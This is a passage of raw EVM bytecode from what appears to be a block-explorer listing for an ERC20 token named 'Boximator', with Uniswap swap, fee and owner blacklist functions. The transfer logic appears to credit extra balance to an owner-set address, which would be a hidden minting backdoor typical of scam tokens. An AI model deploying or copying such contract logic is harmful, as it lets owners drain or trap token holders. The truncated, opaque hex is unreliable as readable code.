fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119c5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15611aa957601054821115611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0790613254565b60405180910390fd5b60115482611a1d85610848565b611a279190613272565b1115611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f906132ef565b60405180910390fd5b436003600754611a789190613272565b1115611a9157611a878361221a565b15611a90575f80fd5b5b600f5f815480929190611aa39061330d565b91905055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b3257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bde575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bdd575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15611c3c5760115482611bf085610848565b611bfa9190613272565b1115611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c329061339e565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cc457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0857611d056064611cf7600d54600f5411611ce457600954611ce8565b600b545b8561215a90919063ffffffff16565b6121d190919063ffffffff16565b90505b5f611d1230610848565b905060158054906101000a900460ff16158015611d7b575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611d935750601560169054906101000a900460ff165b8015611da0575060125481115b8015611daf5750600e54600f54115b15611de957611dd1611dcc84611dc78460135461222b565b61222b565b612243565b5f4790505f811115611de757611de6476124ac565b5b505b505b5f811115611eea57611e438160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ee19190612786565b60405180910390a35b611f3a8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461251490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611fdd611f91828461251490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612080848661251490919063ffffffff16565b60405161208d9190612786565b60405180910390a350505050565b5f8383111582906120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d99190612648565b60405180910390fd5b505f83856120f091906133bc565b9050809150509392505050565b5f80828461210b9190613272565b905083811015612150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214790613439565b60405180910390fd5b8091505092915050565b5f80830361216a575f90506121cb565b5f82846121779190612c1f565b90508284826121869190613484565b146121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd90613524565b60405180910390fd5b809150505b92915050565b5f61221283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061255d565b905092915050565b5f80823b90505f8111915050919050565b5f818311612239578261223b565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561227957612278612827565b5b6040519080825280602002602001820160405280156122a75781602001602082028036833780820191505090505b50905030815f815181106122be576122bd612cc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612362573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123869190612d71565b8160018151811061239a57612399612cc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124003060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461134a565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124629594939291906135f9565b5f604051808303815f87803b158015612479575f80fd5b505af115801561248b573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612510573d5f803e3d5ffd5b5050565b5f61255583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061209b565b905092915050565b5f80831182906125a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259a9190612648565b60405180910390fd5b505f83856125b19190613484565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125f55780820151818401526020810190506125da565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61261a826125be565b61262481856125c8565b93506126348185602086016125d8565b61263d81612600565b840191505092915050565b5f6020820190508181035f8301526126608184612610565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6126a282612679565b9050919050565b6126b281612698565b81146126bc575f80fd5b50565b5f813590506126cd816126a9565b92915050565b5f819050919050565b6126e5816126d3565b81146126ef575f80fd5b50565b5f81359050612700816126dc565b92915050565b5f806040838503121561271c5761271b612671565b5b5f612729858286016126bf565b925050602061273a858286016126f2565b9150509250929050565b5f8115159050919050565b61275881612744565b82525050565b5f6020820190506127715f83018461274f565b92915050565b612780816126d3565b82525050565b5f6020820190506127995f830184612777565b92915050565b5f805f606084860312156127b6576127b5612671565b5b5f6127c3868287016126bf565b93505060206127d4868287016126bf565b92505060406127e5868287016126f2565b9150509250925092565b5f60ff82169050919050565b612804816127ef565b82525050565b5f60208201905061281d5f8301846127fb565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61285d82612600565b810181811067ffffffffffffffff8211171561287c5761287b612827565b5b80604052505050565b5f61288e612668565b905061289a8282612854565b919050565b5f67ffffffffffffffff8211156128b9576128b8612827565b5b602082029050602081019050919050565b5f80fd5b5f6128e06128db8461289f565b612885565b90508083825260208201905060208402830185811115612903576129026128ca565b5b835b8181101561292c578061291888826126bf565b845260208401935050602081019050612905565b5050509392505050565b5f82601f83011261294a57612949612823565b5b813561295a8482602086016128ce565b91505092915050565b5f6020828403121561297857612977612671565b5b5f82013567ffffffffffffffff81111561299557612994612675565b5b6129a184828501612936565b91505092915050565b5f602082840312156129bf576129be612671565b5b5f6129cc848285016126bf565b91505092915050565b5f80604083850312156129eb576129ea612671565b5b5f6129f8858286016126f2565b9250506020612a09858286016126f2565b9150509250929050565b612a1c81612698565b82525050565b5f602082019050612a355f830184612a13565b92915050565b5f8060408385031215612a5157612a50612671565b5b5f612a5e858286016126bf565b9250506020612a6f858286016126bf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612afb57808604811115612ad757612ad6612a79565b5b6001851615612ae65780820291505b8081029050612af485612aa6565b9450612abb565b94509492505050565b5f82612b135760019050612bce565b81612b20575f9050612bce565b8160018114612b365760028114612b4057612b6f565b6001915050612bce565b60ff841115612b5257612b51612a79565b5b8360020a915084821115612b6957612b68612a79565b5b50612bce565b5060208310610133831016604e8410600b8410161715612ba45782820a905083811115612b9f57612b9e612a79565b5b612bce565b612bb18484846001612ab2565b92509050818404811115612bc857612bc7612a79565b5b81810290505b9392505050565b5f612bdf826126d3565b9150612bea836127ef565b9250612c177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b04565b905092915050565b5f612c29826126d3565b9150612c34836126d3565b9250828202612c42816126d3565b91508282048414831517612c5957612c58612a79565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c946020836125c8565b9150612c9f82612c60565b602082019050919050565b5f6020820190508181035f830152612cc181612c88565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612d296017836125c8565b9150612d3482612cf5565b602082019050919050565b5f6020820190508181035f830152612d5681612d1d565b9050919050565b5f81519050612d6b816126a9565b92915050565b5f60208284031215612d8657612d85612671565b5b5f612d9384828501612d5d565b91505092915050565b5f604082019050612daf5f830185612a13565b612dbc6020830184612a13565b9392505050565b5f819050919050565b5f819050919050565b5f612def612dea612de584612dc3565b612dcc565b6126d3565b9050919050565b612dff81612dd5565b82525050565b5f60c082019050612e185f830189612a13565b612e256020830188612777565b612e326040830187612df6565b612e3f6060830186612df6565b612e4c6080830185612a13565b612e5960a0830184612777565b979650505050505050565b5f81519050612e72816126dc565b92915050565b5f805f60608486031215612e8f57612e8e612671565b5b5f612e9c86828701612e64565b9350506020612ead86828701612e64565b9250506040612ebe86828701612e64565b9150509250925092565b5f604082019050612edb5f830185612a13565b612ee86020830184612777565b9392505050565b612ef881612744565b8114612f02575f80fd5b50565b5f81519050612f1381612eef565b92915050565b5f60208284031215612f2e57612f2d612671565b5b5f612f3b84828501612f05565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612f9e6024836125c8565b9150612fa982612f44565b604082019050919050565b5f6020820190508181035f830152612fcb81612f92565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302c6022836125c8565b915061303782612fd2565b604082019050919050565b5f6020820190508181035f83015261305981613020565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6130ba6025836125c8565b91506130c582613060565b604082019050919050565b5f6020820190508181035f8301526130e7816130ae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6131486023836125c8565b9150613153826130ee565b604082019050919050565b5f6020820190508181035f8301526131758161313c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6131d66029836125c8565b91506131e18261317c565b604082019050919050565b5f6020820190508181035f830152613203816131ca565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61323e6019836125c8565b91506132498261320a565b602082019050919050565b5f6020820190508181035f83015261326b81613232565b9050919050565b5f61327c826126d3565b9150613287836126d3565b925082820190508082111561329f5761329e612a79565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6132d9601a836125c8565b91506132e4826132a5565b602082019050919050565b5f6020820190508181035f830152613306816132cd565b9050919050565b5f613317826126d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361334957613348612a79565b5b600182019050919050565b7f4578636565647320746865206d617857616c6c657453697a65000000000000005f82015250565b5f6133886019836125c8565b915061339382613354565b602082019050919050565b5f6020820190508181035f8301526133b58161337c565b9050919050565b5f6133c6826126d3565b91506133d1836126d3565b92508282039050818111156133e9576133e8612a79565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613423601b836125c8565b915061342e826133ef565b602082019050919050565b5f6020820190508181035f83015261345081613417565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61348e826126d3565b9150613499836126d3565b9250826134a9576134a8613457565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61350e6021836125c8565b9150613519826134b4565b604082019050919050565b5f6020820190508181035f83015261353b81613502565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61357481612698565b82525050565b5f613585838361356b565b60208301905092915050565b5f602082019050919050565b5f6135a782613542565b6135b1818561354c565b93506135bc8361355c565b805f5b838110156135ec5781516135d3888261357a565b97506135de83613591565b9250506001810190506135bf565b5085935050505092915050565b5f60a08201905061360c5f830188612777565b6136196020830187612df6565b818103604083015261362b818661359d565b905061363a6060830185612a13565b6136476080830184612777565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5546e444b57d332a8455f92da5642d6a25e8134ed7f86615ff09b4d26b43ecf64736f6c63430008160033

Deployed Bytecode

0x608060405260043610610138575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b41146103fd578063a9059cbb14610427578063bf474bed14610463578063c9567bf91461048d578063d34628cc146104a3578063dd62ed3e146104cb5761013f565b8063751039fc146103415780637d1db4a5146103575780638da5cb5b146103815780638dfb5130146103ab5780638f9a55c0146103d35761013f565b8063313ce567116100fc578063313ce5671461023957806331c2d847146102635780633bbac5791461028b578063667f6526146102c757806370a08231146102ef578063715018a61461032b5761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b50610157610507565b6040516101649190612648565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e9190612706565b610544565b6040516101a0919061275e565b60405180910390f35b3480156101b4575f80fd5b506101bd610561565b6040516101ca9190612786565b60405180910390f35b3480156101de575f80fd5b506101e7610567565b6040516101f49190612786565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e919061279f565b61058b565b604051610230919061275e565b60405180910390f35b348015610244575f80fd5b5061024d61065f565b60405161025a919061280a565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612963565b610667565b005b348015610296575f80fd5b506102b160048036038101906102ac91906129aa565b610785565b6040516102be919061275e565b60405180910390f35b3480156102d2575f80fd5b506102ed60048036038101906102e891906129d5565b6107d7565b005b3480156102fa575f80fd5b50610315600480360381019061031091906129aa565b610848565b6040516103229190612786565b60405180910390f35b348015610336575f80fd5b5061033f61088e565b005b34801561034c575f80fd5b506103556109dc565b005b348015610362575f80fd5b5061036b610b0e565b6040516103789190612786565b60405180910390f35b34801561038c575f80fd5b50610395610b14565b6040516103a29190612a22565b60405180910390f35b3480156103b6575f80fd5b506103d160048036038101906103cc91906129aa565b610b3b565b005b3480156103de575f80fd5b506103e7610c12565b6040516103f49190612786565b60405180910390f35b348015610408575f80fd5b50610411610c18565b60405161041e9190612648565b60405180910390f35b348015610432575f80fd5b5061044d60048036038101906104489190612706565b610c55565b60405161045a919061275e565b60405180910390f35b34801561046e575f80fd5b50610477610c72565b6040516104849190612786565b60405180910390f35b348015610498575f80fd5b506104a1610c78565b005b3480156104ae575f80fd5b506104c960048036038101906104c49190612963565b6111a2565b005b3480156104d6575f80fd5b506104f160048036038101906104ec9190612a3b565b6112c1565b6040516104fe9190612786565b60405180910390f35b60606040518060400160405280600981526020017f426f78696d61746f720000000000000000000000000000000000000000000000815250905090565b5f610557610550611343565b848461134a565b6001905092915050565b60135481565b5f6009600a6105769190612bd5565b64a0a73474006105869190612c1f565b905090565b5f61059784848461150d565b610654846105a3611343565b61064f856040518060600160405280602881526020016136526028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610606611343565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461209b9092919063ffffffff16565b61134a565b600190509392505050565b5f6009905090565b61066f611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f290612caa565b60405180910390fd5b5f5b8151811015610781575f60045f84848151811061071d5761071c612cc8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506106fd565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6107df611343565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836575f80fd5b81600a8190555080600b819055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610896611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091990612caa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109e4611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6790612caa565b60405180910390fd5b6009600a610a7e9190612bd5565b64a0a7347400610a8e9190612c1f565b6010819055506009600a610aa29190612bd5565b64a0a7347400610ab29190612c1f565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610ae79190612bd5565b64a0a7347400610af79190612c1f565b604051610b049190612786565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b43611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690612caa565b60405180910390fd5b8060165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b60606040518060400160405280600981526020017f426f78696d61746f720000000000000000000000000000000000000000000000815250905090565b5f610c68610c61611343565b848461150d565b6001905092915050565b60125481565b610c80611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612caa565b60405180910390fd5b601560149054906101000a900460ff1615610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390612d3f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df93060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610de49190612bd5565b64a0a7347400610df49190612c1f565b61134a565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e879190612d71565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f319190612d71565b6040518363ffffffff1660e01b8152600401610f4e929190612d9c565b6020604051808303815f875af1158015610f6a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8e9190612d71565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061101530610848565b5f8061101f610b14565b426040518863ffffffff1660e01b815260040161104196959493929190612e05565b60606040518083038185885af115801561105d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110829190612e78565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611122929190612ec8565b6020604051808303815f875af115801561113e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111629190612f19565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555043600781905550565b6111aa611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90612caa565b60405180910390fd5b5f5b81518110156112bd57600160045f84848151811061125957611258612cc8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611238565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113af90612fb4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90613042565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115009190612786565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906130d0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e09061315e565b60405180910390fd5b5f811161162b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611622906131ec565b60405180910390fd5b5f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611712576116d08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61171a610b14565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117885750611758610b14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611deb5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561182b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611833575f80fd5b61186f6064611861600c54600f541161184e57600854611852565b600a545b8561215a90919063ffffffff16565b6121d190919063ffffffff16565b905060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119c6575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611972575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119c5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15611aa957601054821115611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0790613254565b60405180910390fd5b60115482611a1d85610848565b611a279190613272565b1115611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f906132ef565b60405180910390fd5b436003600754611a789190613272565b1115611a9157611a878361221a565b15611a90575f80fd5b5b600f5f815480929190611aa39061330d565b91905055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b3257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bde575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bdd575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b5b15611c3c5760115482611bf085610848565b611bfa9190613272565b1115611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c329061339e565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cc457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0857611d056064611cf7600d54600f5411611ce457600954611ce8565b600b545b8561215a90919063ffffffff16565b6121d190919063ffffffff16565b90505b5f611d1230610848565b905060158054906101000a900460ff16158015611d7b575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611d935750601560169054906101000a900460ff165b8015611da0575060125481115b8015611daf5750600e54600f54115b15611de957611dd1611dcc84611dc78460135461222b565b61222b565b612243565b5f4790505f811115611de757611de6476124ac565b5b505b505b5f811115611eea57611e438160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ee19190612786565b60405180910390a35b611f3a8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461251490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611fdd611f91828461251490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612080848661251490919063ffffffff16565b60405161208d9190612786565b60405180910390a350505050565b5f8383111582906120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d99190612648565b60405180910390fd5b505f83856120f091906133bc565b9050809150509392505050565b5f80828461210b9190613272565b905083811015612150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214790613439565b6040518091